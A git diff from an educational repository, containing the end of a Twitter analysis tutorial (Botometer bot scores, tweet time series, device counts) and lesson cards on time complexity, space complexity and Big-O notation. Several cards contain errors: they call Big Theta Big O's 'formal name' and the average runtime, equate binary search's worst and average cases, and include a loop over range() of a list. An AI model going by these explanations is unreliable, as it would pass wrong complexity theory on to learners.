+ bot_dict[user] = int((result['scores']['english'])*100)
+ except tweepy.TweepError:
+ bot_dict[user] = 'None'
+ continue
+```
+
+The output of this block is a **dictionary (bot_dict)** where the keys are the names of the accounts we are checking, and the value is a numerical **score between 0 and 1** that depicts the probability of each user being a bot by taking into account certain factors like the ration of followers/followees, the description of the account, frequency of publications, type of publications, and more parameters.
+
+For some users, the Botometer API gets a **rejected request error**, so these will have a ‘*None*’ as their value.
+
+For me, I get the following results when checking **bot_dict**:
+
+```python
+{'@CryptoKaku': 25,
+ '@ChrisWill1337': 'None',
+ '@Doozy_45': 44,
+ '@TornadoNewsLink': 59,
+ '@johnnystarling': 15,
+ '@brexit_politics': 42,
+ '@lauramarsh70': 32,
+ '@MikeMol1982': 22,
+ '@EUVoteLeave23rd': 66,
+ '@TheStephenRalph': 11,
+ '@DavidLance3': 40,
+ '@curiocat13': 6,
+ '@IsThisAB0t': 68,
+ '@Whocare31045220': 'None',
+ '@EUwatchers': 34,
+ '@c_plumpton': 15,
+ '@DuPouvoirDachat': 40,
+ '@botcotu': 5,
+ '@Simon_FBFE': 42,
+ '@CAGeurope': 82,
+ '@botanic_my': 50,
+ '@SandraDunn1955': 36,
+ '@HackettTom': 44,
+ '@shirleymcbrinn': 13,
+ '@JKLDNMAD': 20}
+```
+
+Out of these, the account with the highest chance of being a Bot is **@CAGeurope, with a probability of 82%.** Lets check out this account to see why Botometer assigns it such a high probability of being a Bot.
+
+
+
+It looks like a legit account, however, there are various reasons that explain why Botometer gave it such a high probability of being a Bot. First, the account follows almost **3 times as many accounts** as the number of accounts that follow it. Secondly, if we look at the **periodicity of their tweet publications**, we can see that they consistently produce various tweets every hour, sometimes in 5 minute intervals, which is a LOT of *tweets*. Lastly, the **content** of their *tweets* is always very similar, with a short text, an URL and some hashtags.
+
+In case you don’t want to code anything or get an API key, Botometer also provides a **web based solution**, where you can also check the probability of an account being a Bot:
+
+
+
+
+
diff --git a/Module_Twitter_API/activities/Act9_Hashtags Over Time/3.md b/Computational-Social-Science-Twitter-Topic/other-activities/Act9_Hashtags Over Time/3 2.md
similarity index 100%
rename from Module_Twitter_API/activities/Act9_Hashtags Over Time/3.md
rename to Computational-Social-Science-Twitter-Topic/other-activities/Act9_Hashtags Over Time/3 2.md
diff --git a/Computational-Social-Science-Twitter-Topic/other-activities/Act9_Hashtags Over Time/3.md b/Computational-Social-Science-Twitter-Topic/other-activities/Act9_Hashtags Over Time/3.md
new file mode 100644
index 00000000..751e178b
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/other-activities/Act9_Hashtags Over Time/3.md
@@ -0,0 +1,107 @@
+
+
+
+
+# Make a Time Series of the Tweet Publications
+
+Let's make a **Time series of the tweet publications**, so we can see on which days there were more *tweets* about the chosen topic being produced, and try to find out **which events caused these higher tweet productions**.
+
+We will plot the number of *tweets* being published on each day of a specific month. To show a plot similar to this one, but for a longer period of time, some additional code would have to be added.
+
+First we need to modify the ‘*Timestamp*’ field of our dataframe, to convert it to a **Datetime object**, using Pandas incorporated function *to_datetime*.
+
+```python
+tweets['Timestamp'] = pd.to_datetime(tweets['Timestamp'], infer_datetime_format = "%d/%m/%Y", utc = False)
+```
+
+
+
+Then, we create a function that returns the day of the DateTime object, and apply it to our ‘*Timestamp’* field to create a new column for our dataframe that stores the day when the *tweet* was published. Also, we will group the days together, count the number of *tweets* (using the ‘*text’* field) produced on each day, and create a dictionary **(\*timedict)\*** with the results, where the keys are the number corresponding to the day of the month and the values are the number of *tweets* published on that day.
+
+```python
+def giveday(timestamp):
+ day_string = timestamp.day
+ return day_string
+tweets['day'] = tweets['Timestamp'].apply(giveday)
+days = tweets.groupby('day')
+daycount = days['text'].count()
+timedict = daycount.to_dict()
+```
+
+
+
+After doing this, we are ready to **plot our results!**
+
+```python
+fig = plt.figure(figsize = (15,15))
+plt.plot(list(timedict.keys()), list(timedict.values()))
+plt.xlabel('Day of the month', fontsize = 12)
+plt.ylabel('Nº of Tweets', fontsize=12)
+plt.xticks(list(timedict.keys()), fontsize=15, rotation=90)
+plt.title('Number of tweets on each day of the month', fontsize = 20)
+plt.show()
+```
+
+This is what you should get:
+
+
+
+If like me, you only collected *tweets* for a couple of days, you will get a very short time series, like the image on the left. The one on the right however, shows a **full month time series** made from a Dataset of *tweets* about the **#Oscars**, which was built by querying the Streaming API for tweets for more than one month. In this second time series, we can see how there are very few *tweets* being produced at the beginning of the month, and as the day of the ceremony comes closer the *tweet* production starts going up, to reach its peak on the night of the event.
+
+Awesome! Now, we will make a plot about the **devices where the tweets are being produced from**.
+
+As the code is pretty much the same code that was used for the previous bar plots, I will just post it here with no further explanation:
+
+```python
+#Now lets explore the different devices where the tweets are #produced from and plot these results
+devices = tweets.groupby('device')
+devicecount = devices['text'].count()
+#Same procedure as the for the mentions, hashtags, etc..
+device_dict = devicecount.to_dict()
+device_ordered_list =sorted(device_dict.items(), key=lambda x:x[1])
+device_ordered_list = device_ordered_list[::-1]
+device_dict_values = []
+device_dict_keys = []
+for item in device_ordered_list:
+ device_dict_keys.append(item[0])
+ device_dict_values.append(item[1])
+```
+
+
+
+Now we plot and see the results:
+
+```python
+fig = plt.figure(figsize = (12,12))
+index = np.arange(len(device_dict_keys))
+plt.bar(index, device_dict_values, edgecolor = 'black', linewidth=1)
+plt.xlabel('Devices', fontsize = 15)
+plt.ylabel('Nº tweets from device', fontsize=15)
+plt.xticks(index, list(device_dict_keys), fontsize=12, rotation=90)
+plt.title('Number of tweets from different devices', fontsize = 20)
+
+plt.show()
+```
+
+
+
+By looking at this chart we can see that **most tweets are published from smartphones**, and that inside of this category Android devices beat Iphones by a small margin.
+
+The web produced *tweets* could also be from a mobile device, but are produced from a browser and not from the Twitter app. Aside from this web produced tweets (which we cannot tell if are published from a PC, Mac or mobile web browser), there are very few tweets coming from recognised Macs or Windows devices. These results fit very well with the **relaxed and easy going nature of the Social Network.**
+
+Lastly, let's look at some **additional information** that can be easily obtained from the gathered data
+
+```python
+#Lets see other useful information that can be gathered:
+#MEAN LENGTH OF THE TWEETS
+print("The mean length of the tweets is:", np.mean(tweets['length']))
+#TWEETS WITH AN URL
+url_tweets = tweets[tweets['text'].str.contains("http")]
+print(f"The percentage of tweets with Urls is {round(len(url_tweets)/len(tweets)*100)}% of all the tweets")
+#MEAN TWEETS PER USER
+print("Number of tweets per user:", len(tweets)/tweets['Username'].nunique())
+```
+
+For me this is **145 for the mean length** of the tweets, **23% of the tweets have an URL**, and the **mean tweet production per user is of 2.23 tweets**.
+
+That's it!
\ No newline at end of file
diff --git a/Module4.1_Intro_to_Data_Structures_and_Algos/activities/git.keep b/Computational-Social-Science-Twitter-Topic/other-activities/git.keep
similarity index 100%
rename from Module4.1_Intro_to_Data_Structures_and_Algos/activities/git.keep
rename to Computational-Social-Science-Twitter-Topic/other-activities/git.keep
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity1_TimeAndSpaceComplexity/README.md b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity1_TimeAndSpaceComplexity/README.md
new file mode 100644
index 00000000..83e51398
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity1_TimeAndSpaceComplexity/README.md
@@ -0,0 +1,151 @@
+# github_id
+1
+
+# name
+Time and Space Complexity
+
+# description
+Learn about the different rates at which algorithm's memory usage and runtime increase
+
+# summary
+Algorithms require an input to run. As the input grows, learn about what happens to the memory usage and space usage. Learn about how to describe this rate.
+
+# difficulty
+Easy
+
+# image
+
+
+# image_folder
+Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity1_TimeAndSpaceComplexity/
+
+# cards
+
+## 1
+
+### name
+Time Complexity
+
+### order
+1
+
+### gems
+15
+
+## 2
+
+### name
+Looking at Value Sum
+
+### order
+2
+
+### gems
+15
+
+## 3
+
+### name
+Complexity from a function
+
+### order
+3
+
+### gems
+20
+
+## 4
+
+### name
+Space Complexity
+
+### order
+4
+
+### gems
+15
+
+## 5
+
+### name
+Big O Notation
+
+### order
+5
+
+### gems
+20
+
+## 6
+
+### name
+Big O Notation Continued
+
+### order
+6
+
+### gems
+20
+
+## 7
+
+### name
+Time Complexity Interview Question
+
+### order
+7
+
+### gems
+15
+
+## 8
+
+### name
+Space Complexity Interview Question
+
+### order
+8
+
+### gems
+15
+
+## 9
+
+### name
+Explaining Big (O)
+
+### order
+9
+
+### gems
+15
+
+## 10
+
+### name
+Big Omega and Big Theta
+
+### order
+10
+
+### gems
+15
+
+## 11
+Example of Time Complexity: O(log n)
+
+### order
+11
+
+### gems
+15
+
+## 12
+Example of Space Complexity
+
+### order
+12
+
+### gems
+15
+
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity1_TimeAndSpaceComplexity/cards/1.md b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity1_TimeAndSpaceComplexity/cards/1.md
new file mode 100755
index 00000000..9268fab5
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity1_TimeAndSpaceComplexity/cards/1.md
@@ -0,0 +1,33 @@
+# Time Complexity
+
+**Time complexity** allows us to describe **how the time taken to run a function grows as the size of the input of the function grows.**
+
+In other words, in the function:
+
+```python
+value = [1, 2, 3, 4, 5]
+
+def valueSum(value):
+ sum = 0
+ for i in range(value):
+ sum = sum + i
+ return sum
+```
+The amount of time this function takes to run will grow as the number of elements in the array increase. If the elements in the array `value` went up to 1,000,000, the amount of the time it would take for the function to compute would be much higher than if the array only went up to 10.
+
+Time complexity answers the question: "At what rate does the time increase for a function as the input increases". **However**, it does not answer the question, "How long does it take for a function to compute?", because the answer relies on hardware, language, etc..
+
+The rate of a function's growth can be described as **constant**, **linear**, **quadratic**, and so on.
+
+
+
+
+
+In our function, `valueSum()`, this is how the function's growth would look like.
+
+n is the number of elements in the array values. Note that, as `n` grows, so does the execution time in a linear fashion.
+
+Let's look at this function a little more closely.
+
+
+
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity1_TimeAndSpaceComplexity/cards/10.md b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity1_TimeAndSpaceComplexity/cards/10.md
new file mode 100644
index 00000000..69769a90
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity1_TimeAndSpaceComplexity/cards/10.md
@@ -0,0 +1,25 @@
+### Big Omega
+
+Similar to **Big (O)**, we also have **Big Omega**. **Big Omega** is just the opposite; it is the lower bound of our function.
+
+Let's look at our chocolate example again. The same conditions hold true. We can establish the lower bound of how much chocolate you have to be 3/4. Why is this a valid lower bound? Because you will eventually exceed having 3/4 of the chocolate. **Remember when looking for bounds, we want one that holds true after a certain point and not necessarily from the beginning.**
+
+In terms of Python, let's say we have a `functionC` that runs on **O(n)** time. If we have `functionC` which grows on **O(n)** time, that would function as the **Big Omega** for our function, `functionA`.
+
+[//]: # "insert 'functionC vs functionA' image"
+
+`functionA`'s runtime grows faster than `functionC` after a certain point. After that certain point, we know with absolute certainty that the runtime of `functionA` will never be faster than `functionC`.
+
+### Big Theta
+
+Lastly, we have **Big Theta**. Big Theta is simply **Big O**'s formal name. **Big Theta** is the average runtime of a function. Going back to when we were determining the **Big O** notation for a function, we would write each line in the function in **Big O notation**.
+
+For example,
+
+$$
+Time(Input) = O(1) + O(n) + O(1).
+$$
+
+
+We then dropped every term except the fastest growing term (**O(n)**), and made that term define the function. By dropping all the terms, we are estimating the runtime of the function and finding our **Big Theta**.
+
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity1_TimeAndSpaceComplexity/cards/11.md b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity1_TimeAndSpaceComplexity/cards/11.md
new file mode 100644
index 00000000..b31bcb2f
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity1_TimeAndSpaceComplexity/cards/11.md
@@ -0,0 +1,67 @@
+# Interview question: Example of time complexity O(log n)
+
+Complexities like O(1) and O(n) are simple and straightforward. O(1) means an operation which is done to reach an element directly (like a dictionary or hash table), O(n) means first we would have to search it by checking n elements, but what could O(log n) possibly mean?
+
+ One place where you might have heard about O(log n) time complexity is the Binary search algorithm. There must be some type of behavior that algorithm is showing to be given a complexity of log n. Let us see how it works.
+
+Since binary search has a best case efficiency of O(1) and worst case (average case) efficiency of O(log n), we will look at an example of the worst case. Consider a sorted array of 16 elements.
+
+ For the worst case, let us say we want to search for the the number 13.
+
+ 
+
+ A sorted array of 16 elements:
+
+ 
+
+ Selecting the middle element as pivot (length / 2):
+
+ 
+
+ Since 13 is less than pivot, we remove the other half of the array:
+
+  Repeating the process for finding the middle element for every sub-array:
+
+ 
+
+ 
+
+You can see that after every comparison with the middle term, our searching range gets divided into half of the current range.
+
+So, for reaching one element from a set of 16 elements, we had to divide the array 4 times, we can say that:
+
+ 
+
+ ### Simplified Formula
+
+Similarly, for n elements,
+
+ 
+
+ Generalization
+
+ 
+
+ Separating the power for the numerator and denominator
+
+ 
+
+ Multiplying both sides by 2^k
+
+ 
+
+### Final result
+
+ Now, let us look at the definition of logarithm, it says that:
+
+ > A quantity representing the power to which a fixed number (the base) must be raised to produce a given number.
+
+ Which makes our equation into
+
+ 
+
+ ### Logarithmic form
+
+So the log n actually means something doesn’t it? A type of behavior nothing else can represent.
+
+When working in the field of computer science, it is always helpful to know such stuff (and is quite interesting too). Who knows, maybe you’re the one in your team who is able to find an optimized solution for a problem, just because you know what you’re dealing with. Good luck!
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity1_TimeAndSpaceComplexity/cards/12.md b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity1_TimeAndSpaceComplexity/cards/12.md
new file mode 100644
index 00000000..3eb68d03
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity1_TimeAndSpaceComplexity/cards/12.md
@@ -0,0 +1,32 @@
+## Space Complexity Interview Question
+
+Calculate the Space Complexity of the following:
+
+ ```python
+ # n is the length of array arr[]
+ def sum(arr, n):
+ #4 bytes for x
+ x = 0
+ # 4 bytes for i
+ for i in range(0,n):
+ x = x + arr[i]
+ return x
+ ```
+
+ For calculating the space complexity, we need to know the value of memory used by different type of datatype variables, which generally varies for different operating systems, but the method for calculating the space complexity remains the same.
+
+| Type | Size |
+| :----------------------------------------------------- | :------ |
+| bool, char, unsigned char, signed char, __int8 | 1 byte |
+| __int16, short, unsigned short, wchar_t, __wchar_t | 2 bytes |
+| float, __int32, int, unsigned int, long, unsigned long | 4 bytes |
+| double, __int64, long double, long long | 8 bytes |
+
+
+
+ - In the above code, `4*n` bytes of space is required for the array `a[]` elements.
+ - 4 bytes each for `x`, `n`, `i` and the return value.
+
+ Hence the total memory requirement will be `(4n + 12)`, which is increasing linearly with the increase in the input value `n`, hence it is called as **Linear Space Complexity.**
+
+ Similarly, we can have quadratic and other complex space complexity as well, as the complexity of an algorithm increases.
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity1_TimeAndSpaceComplexity/cards/2.md b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity1_TimeAndSpaceComplexity/cards/2.md
new file mode 100755
index 00000000..c28793dc
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity1_TimeAndSpaceComplexity/cards/2.md
@@ -0,0 +1,56 @@
+Going back to our function `valueSum`:
+
+```python
+value = [1, 2, 3, 4, 5]
+
+def valueSum(value):
+ sum = 0
+ for i in value:
+ sum = sum + i
+ return sum
+```
+Say `value` contains n elements. Let's run through `valueSum` line by line:
+
+`sum = 0` runs in constant time as it is simply assigning a value to the variable `sum` and only occurs once. For this line, the runtime is **c1**.
+
+The for loop statement expresses a variable `i` iterating over each element in `value`. This creates a loop that will iterate *n* times since `value` contains *n* elements.
+
+`sum = sum + i` occurs in constant time as well. Let's say this line runs in *c2* time. Since the loop body repeats however many times the loop is iterated, we can multiply *c2* by *n*. Now we have **c2 * n** for the runtime of the entire for loop.
+
+Lastly, `return sum` is simply returning a number and only happens once. So, this line also runs in constant time which we'll note as **c3**.
+
+##### Putting it all together:
+If we add all the individual runtimes we found, we'll get `f(n) = c2*n + c1 + c3`. Look familiar? It's in the form of a linear equation `f(n) = a*n + b` where a and b are constants. We can predict that `valueSum()` grows in linear time.
+
+But what does it mean to grow in linear time? As the size of the list `value` increases, the time it takes for `valueSum()` to run increases proportionally (think of it as a direct proportion).
+
+Let's test it out with different input sizes for `value`:
+
+[//]: # "insert 'linear' image"
+
+For every 1000 element increase in `value`, the time it takes for `valueSum()`to run increases roughly 0.05 milliseconds which is a linear relationship!
+
+##### Let's look at a different function and try to predict how it will grow.
+
+```python
+value = range(6)
+
+def three(value):
+ sum = 0
+ return(sum)
+```
+
+Let's start by dividing our function by lines.
+
+`sum = 0` only repeats once, so we know this line will take a constant amount of time **c1**.
+`return(sum)` also only repeats once, so we can infer that this line carries out in constant time **c2**.
+
+Hence, we predict that `three()` grows in **constant time**.
+
+As shown in the image below, for any number of elements in `value`, `valueSum()` always takes about 0.001 milliseconds to run.
+
+
+
+
+Our prediction is true. Since both lines take constant time, adding them up is also still constant time, and our graph looks like a straight line.
+
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity1_TimeAndSpaceComplexity/cards/3.md b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity1_TimeAndSpaceComplexity/cards/3.md
new file mode 100644
index 00000000..e3112a18
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity1_TimeAndSpaceComplexity/cards/3.md
@@ -0,0 +1,35 @@
+##### Let's look at one last function:
+
+```python
+keypad = [[1, 2, 3],
+ [4, 5, 6],
+ [7, 8, 9],
+ [0]]
+def listInList(keypad):
+ sum = 0
+ for row in keypad:
+ for i in row:
+ sum += i
+ return sum
+```
+
+Again, we will be trying to predict what time this function grows in.
+
+If we divide the function into parts, we get the lines `sum = 0`, `sum += i`, and `return sum` .
+`sum = 0` repeats once, so the time for this line to process is constant.
+
+`sum += i` is in a *for loop* so it might be intuitive to think that this line only repeats *n* times. However, this for loop is nested within another for loop, so the total number of iterations would be *n^2*.
+
+Lastly `return sum` repeats once, so this line will be processed in constant time.
+
+Since our function has a line that repeats itself n^2 times, we predict that this function grows in **quadratic time**. Looking at the graph, we see our prediction is indeed correct. Quadratic runtime starts growing quite quickly in comparison to a linear runtime. Notice that the equation for a quadratic equation is **a*n^2*+b*n*+c** where a, b and c are constants.
+
+
+
+If we graph this out, it will look like the graph below:
+
+
+
+
+Looking at the graph, we see our prediction is indeed correct. Quadratic runtime starts growing quite quickly in comparison to a linear runtime. Something else to note is that the equation for a quadratic equation is **a*n^2*+b*n*+c** where a, b and c are constants.
+
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity1_TimeAndSpaceComplexity/cards/4.md b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity1_TimeAndSpaceComplexity/cards/4.md
new file mode 100755
index 00000000..d426b19d
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity1_TimeAndSpaceComplexity/cards/4.md
@@ -0,0 +1,48 @@
+To summarize briefly so far, the time of an algorithm or function's run time will be the sum of the time it takes for all the lines in the code of the algorithm to run. This runtime growth can be written as a function.
+
+Remember that elementary functions such as `+, -, *, \, =` always take a constant amount of time to run. **Thus, when we see these functions, we assign them the value *c* time.**
+
+### How can we tell the time complexity just from the function?
+
+Going back to our function `valueSum`,
+
+```python
+value = [1, 2, 3, 4, 5]
+
+def valueSum(value):
+ sum = 0
+ for i in value:
+ sum = sum + i
+ return sum
+```
+
+From before, we analyzed `valueSum()` line by line and got `f(n) = c2*n + c1 + c3` when we added everything. This equation is actually a function of time where *n* is the input size and *f(n)* is the runtime; we can treat *f(n)* as *Time(Input)*. We can use the fastest growing term to determine the behavior of the equation; in this case, it is the **c2 * n** term. If we simply look at `Time(Input) = c2*n`, we know easily that the function is linear and that the runtime of `valueSum()` is *linear*.
+
+Let's look at the function `three` again:
+
+```python
+value = range(6)
+
+def three(value):
+ sum = 0
+ return(sum)
+```
+
+Previously, we found `sum = 0` to have a runtime of **c1** and `return(sum)` to have a runtime of **c2**. Adding them together, we get the function of time `Time(Input) = c1 + c2`. We can treat *c1 + c2* as one constant and call it **c3**. Now we have `T(I) = c3`. This makes it very obvious that the runtime of `three()` is *constant*.
+
+Let's do the same for `listInList()`:
+```python
+keypad = [[1, 2, 3],
+ [4, 5, 6],
+ [7, 8, 9],
+ [0]]
+def listInList(keypad):
+ sum = 0
+ for row in keypad:
+ for i in row:
+ sum += i
+ return sum
+```
+
+We deducted that `sum = 0` has constant runtime **c1**, the loop structure has runtime of **n^2**, and `return sum` runs in **c2** time. Putting it into a function, we get `Time(Input) = n^2 + c1 + c2`. If we isolate the fastest growing term, we get `T(I) = n^2` which reveals the runtime to be *quadratic*.
+
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity1_TimeAndSpaceComplexity/cards/5.md b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity1_TimeAndSpaceComplexity/cards/5.md
new file mode 100755
index 00000000..74044b78
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity1_TimeAndSpaceComplexity/cards/5.md
@@ -0,0 +1,58 @@
+Similar to time complexity, as functions' input grows very large, they will take up an increasing amount of memory; this is **space complexity**. In fact, these functions' memory usage also grows in a similar fashion to time complexity and we describe the growth in the same way. We describe it as *linear*, *quadratic*, etc. time.
+
+For example:
+
+```
+m = 3
+```
+
+This line will always take a constant amount of memory/space. No matter what function it is in, since it's a simple value, it will always take a constant amount of memory. We can express that amount of memory as `c1`.
+
+If we had an array such as:
+
+```python
+value = [1, 2, 3, 4, 5]
+```
+
+We know that the more elements that are in `value`, the more memory it will require. In fact, the amount of memory the `value` array needs is exactly a constant amount of memory multiplied by the amount of elements. In other words, `value` requires **c1 * n** amount of memory.
+
+Let's look at `keypad`
+
+```python
+keypad = [[1, 2, 3],
+ [4, 5, 6]
+ [7, 8, 9]
+ [0]]
+```
+
+We have an array filled with elements that are always arrays. Similar to time complexity, the amount of memory `keypad` will need is **c1 * n * n**. In other words, **c1 * n^2** where **c1** is the amount of the memory an element uses.
+
+### We want to be able to write a function in order to calculate how much a function or algorithm will use.
+
+Primitive values such as integers, floats, strings, etc. will always take up a constant amount of memory. Complex data structures such as `arrays` take up `k * c` amount of memory where *c* is an amount of memory and *k* is the number of elements in the array. Going back to our `valueSum` function...
+
+``` python
+value = [1, 2, 3, 4, 5]
+
+def valueSum(value):
+ sum = 0
+ for i in value:
+ sum = sum + i
+ return sum
+```
+
+To describe the amount of memory this function will require, we will write an expression similar to what was done for *time complexity*. We will call our expression: *Space(Input)* as space is a function of the input.
+
+Let's try and find the Space(Input) equation for this function. To start, let's break down the function line by line.
+
+We are working with integers `sum` and `i`, with space values **c1** and **c2** respectively.
+
+We have a complex data structure, `value = [1, 2, 3, 4, 5]`, so we know that the amount of memory is **c3 * n** where *n* is the length of the range, `valueSum`.
+
+Our Space(Input) equation should look like:
+
+
+> Space(Input) = c1 + c2 + c3*n
+
+Our equation represented by the dominant (fastest growing) term would simply be **c3 * n**.
+
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity1_TimeAndSpaceComplexity/cards/6.md b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity1_TimeAndSpaceComplexity/cards/6.md
new file mode 100644
index 00000000..857b3b09
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity1_TimeAndSpaceComplexity/cards/6.md
@@ -0,0 +1,41 @@
+**Lets look at another familiar function, `listInList`**
+
+```python
+keypad = [[1, 2, 3],
+ [4, 5, 6],
+ [7, 8, 9],
+ [0]]
+
+def listInList(keypad):
+ sum = 0
+ for row in keypad:
+ for i in row:
+ sum += i
+ return sum
+```
+
+We work with two numbers, `i` and `sum`. These require **c1** and **c2** amount of memory.
+
+Each element in `keypad` will require **c3** amount of memory. We can conclude that the array `keypad` requires **c1 * n^2** amount of memory.
+
+The Space(Input) equation for `keypad` looks something like this.
+
+
+> Space(Input) = c1 + c2 + c3*n^2
+
+Our equation represented by the dominant term would be **c3 * n^2**
+
+## Optimize Time or Optimize Memory?
+
+The greater the input of a function, the greater amount of time and memory that the function will require to operate. A common question is **"Is it better to have our function run faster, but require more space; or should we have our function require less space, but run slower?"**
+
+We can either have our function run faster, but require more memory or our function run slower, but require less memory.
+
+The general answer is to have our function run faster. It is always possible to buy more space/memory. It's impossible to buy extra time. Hence, the general rule is to **prioritize** having our function/algorithm run faster.
+
+
+
+
+
+
+
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity1_TimeAndSpaceComplexity/cards/7.md b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity1_TimeAndSpaceComplexity/cards/7.md
new file mode 100755
index 00000000..08dfd11b
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity1_TimeAndSpaceComplexity/cards/7.md
@@ -0,0 +1,36 @@
+Now that we have an understanding of *time complexity* and *space complexity* and how to express them as functions of time, we can elaborate on the way we express these functions. **Big-O Notation** is a common way to express these functions.
+
+Instead of using terms like *Linear Time*, *Quadratic Time*, *Logarithmic Time*, etc., we can write these terms in **Big-O Notation**. Depending on what time the function increases by, we assign it a **Big-O** value. **Big-O** notation is incredibly important because it allows us to take a more mathematical and calculated approach to understanding the way functions and algorithms grow.
+
+**Big-O notation** is also useful because it simplifies how we describe a function's time complexity and space complexity. So far, we have defined a function of time as a number of terms. With Big-O notation, we are able to use only the dominant, or fastest growing, term!
+
+## How to Write in Big-O Notation
+
+To write in **Big-O Notation** we use a capital O followed with parentheses : **O()**.
+
+Depending on what is inside of the parentheses will tell us what time the function grows in. Let's look at an example.
+
+```python
+value = [1, 2, 3, 4, 5]
+
+def valueSum(value):
+ sum = 0
+ for i in value:
+ sum = sum + i
+ return sum
+```
+
+Going back to our `valueSum` function, we had previously expressed the runtime of this function as input increase. We had written the expression *Time(Input)* and the components its made of.
+
+**Time(Input) = c1 + c2*n + c3**
+
+`c1` comes from the line `sum = 0` . We know `sum = 0` will always take the same amount of time to run because we are assigning a value to a variable. We call this *constant time* because no matter what function this line is in, it will take the same amount of time to run.
+
+Since **c1** runs in constant time, we would write it as **O(1)** in **Big-O Notation**. Notice that the line repeats only once.
+
+`sum = sum + i` is responsible for **c2** in our equation. We multiply **c2** by *n* however because **c2** is repeated multiple times. The runtime of this function increase linearly depending on the amount of elements that are added to `sum`.
+
+In **Big-O Notation**, this line would be rewritten as **O(n)** and would inform us that this line runs in *linear time*. We use the dominant term which is **c2 * n**. Since **c2 * n** and **n** behave the same (linearly), we can drop the coefficient of *c2*.
+
+Lastly, `return sum` is written as **O(1)** because it operates under constant time.
+
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity1_TimeAndSpaceComplexity/cards/8.md b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity1_TimeAndSpaceComplexity/cards/8.md
new file mode 100644
index 00000000..a41aa2ba
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity1_TimeAndSpaceComplexity/cards/8.md
@@ -0,0 +1,91 @@
+Rewriting our `valueSum` function but in **Big-O notation**, we would have:
+
+```
+Time(Input) = O(1) + O(n) + O(1).
+```
+
+We've written the lines of the function in **Big-O Notation**, but now we need to write the function itself in **Big-O Notation**. The way we do that is to choose the term that is growing the fastest in the function (the dominant term) as *n* gets very large. We then disregard any coefficients of that term. Then assign that term for the function.
+
+For `valueSum`, the fastest growing term is **c2 * n** . If we ignore **c2** , we are left with just `n`. We now know that the time complexity of `valueSum` is **O(n)** and the runtime of `valueSum` grows in a linear fashion.
+
+Let's look at another example.
+
+In the function `listInList`:
+
+```python
+keypad = [[1, 2, 3],
+ [4, 5, 6],
+ [7, 8, 9],
+ [0]]
+def listInList(keypad):
+ sum = 0
+ for row in keypad:
+ for i in row:
+ sum += i
+ return sum
+```
+
+`listInList` expressed as a function of time looks like this:
+
+$$
+Time(Input) = c1 + c2 * n^2 + c3
+$$
+We know that **c1** corresponds to **O(1)** .
+**c2 * n^2** is written as **O(n^2)**.
+**c3** is written as **O(1)** since it operates under constant time.
+
+The fastest growing term is **c2 * n^2** so we know that this term defines how our function is written in **Big-O Notation**. Dropping the coefficient, **c2**, our function is expressed as **O(n^2)**. in **Big-O Notation**. This tells us that `listInList` grows in quadratic time.
+
+As for our last example, let's make a quick edit to our function `listInList` and call it `listInList2`.
+
+```python
+keypad = [[1, 2, 3],
+ [4, 5, 6],
+ [7, 8, 9],
+ [0]]
+def listInList2(keypad):
+ sum = 0
+ for row in keypad:
